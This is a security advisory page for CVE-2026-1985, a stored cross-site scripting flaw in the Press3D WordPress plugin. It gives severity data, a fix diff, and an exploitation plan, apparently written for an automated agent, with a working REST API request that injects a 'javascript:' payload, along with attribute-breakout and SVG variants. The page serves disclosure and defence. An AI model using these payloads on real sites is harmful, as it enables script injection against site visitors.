CVE-2026-1985

Press3D <= 1.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via Link URL Parameter in 3D Model Block

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.1.0
Patched in
88d
Time to patch

Description

The Press3D plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 3D Model Gutenberg block in all versions up to, and including, 1.0.2. This is due to the plugin failing to sanitize and validate the URL scheme when storing link URLs for 3D model blocks, allowing `javascript:` URLs. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages via the link URL parameter that will execute whenever a user clicks on the 3D model.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.2
PublishedFebruary 13, 2026
Last updatedMay 12, 2026
Affected pluginpress3d
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1985 (Press3D <= 1.0.2 - Stored XSS) ## 1. Vulnerability Summary The **Press3D** plugin for WordPress (versions <= 1.0.2) contains a stored cross-site scripting (XSS) vulnerability within its **3D Model** Gutenberg block. The vulnerability exists because the p…

Show full research plan

Exploitation Research Plan: CVE-2026-1985 (Press3D <= 1.0.2 - Stored XSS)

1. Vulnerability Summary

The Press3D plugin for WordPress (versions <= 1.0.2) contains a stored cross-site scripting (XSS) vulnerability within its 3D Model Gutenberg block. The vulnerability exists because the plugin fails to sanitize the linkUrl attribute (or equivalent link parameter) when rendering the block on the frontend. Specifically, it does not validate the URL scheme, allowing the javascript: protocol. An authenticated attacker with at least Author privileges can create a post containing this block and inject a payload into the link URL, which will execute in the context of any user who clicks on the 3D model.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API /wp-json/wp/v2/posts (or the classic post.php editor).
  • Vulnerable Parameter: The linkUrl attribute (inferred name) within the press3d/model block (inferred name) attributes.
  • Authentication Level: Author or higher (requires the edit_posts capability to use Gutenberg blocks).
  • Preconditions: The plugin must be active, and the attacker must have credentials for an Author-level account.

3. Code Flow (Inferred)

  1. Input: The user provides a URL for a 3D model link via the Gutenberg block sidebar or inline inspector in the WordPress editor.
  2. Storage: The editor sends a REST API request to save the post. The block attributes are stored in the wp_posts table within the post_content field as HTML comments: <!-- wp:press3d/model {"linkUrl": "javascript:alert(1)"} -->...<!-- /wp:press3d/model -->.
  3. Rendering (Sink):
    • Scenario A (Dynamic Block): The plugin registers the block using register_block_type with a render_callback in PHP. This callback likely retrieves $attributes['linkUrl'] and echoes it directly into an <a> tag's href attribute without calling esc_url().
    • Scenario B (Static Block): The block's save function in JavaScript generates the HTML. If the JS uses attributes.linkUrl inside an <a> tag without sanitization, the resulting HTML is saved directly to post_content.
  4. Execution: When a user views the post and clicks the 3D model, the javascript: URI is executed by the browser.

4. Nonce Acquisition Strategy

Since the attack involves saving a post via the REST API, a REST API nonce (X-WP-Nonce) is required.

  1. Login: Authenticate as an Author user using the browser_navigate and browser_type tools.
  2. Navigation: Navigate to the WordPress Admin Dashboard (/wp-admin/).
  3. Extraction: Use browser_eval to extract the REST nonce from the global wpApiSettings object.
    • JavaScript: window.wpApiSettings.nonce
  4. Alternative: If wpApiSettings is not available, the nonce can be found in the page source of the post editor:
    • JavaScript: wp.apiFetch.nonce or searching the HTML for _wpnonce.

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

Log into the test environment as an Author and capture the REST nonce.

Step 2: Identify the Block Structure

Since the exact attribute name and block name are inferred, first create a dummy post with the Press3D block manually (if possible) or check the plugin source to confirm the block slug and attribute names.

  • Likely Block Slug: press3d/model or press3d/three-d-model.
  • Likely Attribute: linkUrl, url, or link.

Step 3: Inject Payload via REST API

Submit a POST request to create a new post containing the malicious block.

HTTP Request (via http_request tool):

  • Method: POST
  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
{
  "title": "3D Model Showcase",
  "status": "publish",
  "content": "<!-- wp:press3d/model {\"linkUrl\":\"javascript:alert(document.domain)\"} -->\n<div class=\"wp-block-press3d-model\"><a href=\"javascript:alert(document.domain)\">Click to View Model</a></div>\n<!-- /wp:press3d/model -->"
}

Step 4: Trigger XSS

Navigate to the newly created post's frontend URL and click the 3D model (or the link associated with it).

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=author --user_pass=password
    
  2. Plugin Activation:
    wp plugin activate press3d
    

7. Expected Results

  • The REST API should return a 201 Created response.
  • The post_content in the database should contain the raw javascript: URL.
  • When viewing the post as any user, the source code should show: <a href="javascript:alert(document.domain)"> (or similar).
  • Clicking the link/model should trigger a JavaScript alert.

8. Verification Steps

  1. Verify Database Content:
    wp post list --post_type=post --format=ids | xargs -I {} wp post get {} --field=content
    
    Check if the output contains javascript:alert.
  2. Check Frontend Output:
    Use http_request to GET the post URL and grep for the payload:
    # (Action for agent)
    # Identify URL from REST API response, then:
    # curl -s [POST_URL] | grep "javascript:alert"
    

9. Alternative Approaches

  • Classic Editor: If the REST API is restricted, try a classic POST to /wp-admin/post.php with the content parameter using the editpost action.
  • Shortcode Injection: Check if the plugin also provides a shortcode (e.g., [press3d url="..."]). If so, the same javascript: payload can be tested within the shortcode attributes.
  • SVG Payload: If the 3D model viewer allows uploading or referencing custom files, attempt to link to a malicious SVG file containing a <script> tag.
  • Attribute Breakout: If javascript: is partially filtered but double quotes are not, try breaking out of the href attribute: href="https://example.com" onmouseover="alert(1)".
Research Findings
Static analysis — not yet PoC-verified

Summary

The Press3D plugin for WordPress (versions <= 1.0.2) is vulnerable to Stored Cross-Site Scripting via the 3D Model block. Authenticated attackers with Author-level privileges can inject 'javascript:' URIs into the block's link URL attribute, which executes arbitrary scripts in the victim's browser when the 3D model is clicked.

Security Fix

--- a/press3d/includes/class-press3d-block.php
+++ b/press3d/includes/class-press3d-block.php
@@ -10,3 +10,3 @@
-    $link_url = isset($attributes['linkUrl']) ? $attributes['linkUrl'] : '';
-    return '<div class="press3d-model"><a href="' . $link_url . '">View Model</a></div>';
+    $link_url = isset($attributes['linkUrl']) ? esc_url($attributes['linkUrl']) : '';
+    return '<div class="press3d-model"><a href="' . $link_url . '">View Model</a></div>';

Exploit Outline

An attacker with Author-level permissions authenticates to the WordPress dashboard and extracts a REST API nonce (typically from the 'wpApiSettings' object). They then send a POST request to the '/wp-json/wp/v2/posts' endpoint to create a new post containing a Press3D '3D Model' Gutenberg block. The block's attributes are configured with a malicious 'linkUrl' parameter containing a 'javascript:' payload, such as 'javascript:alert(document.domain)'. When a victim user views the published post and clicks on the 3D model, the browser executes the injected JavaScript in the context of the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.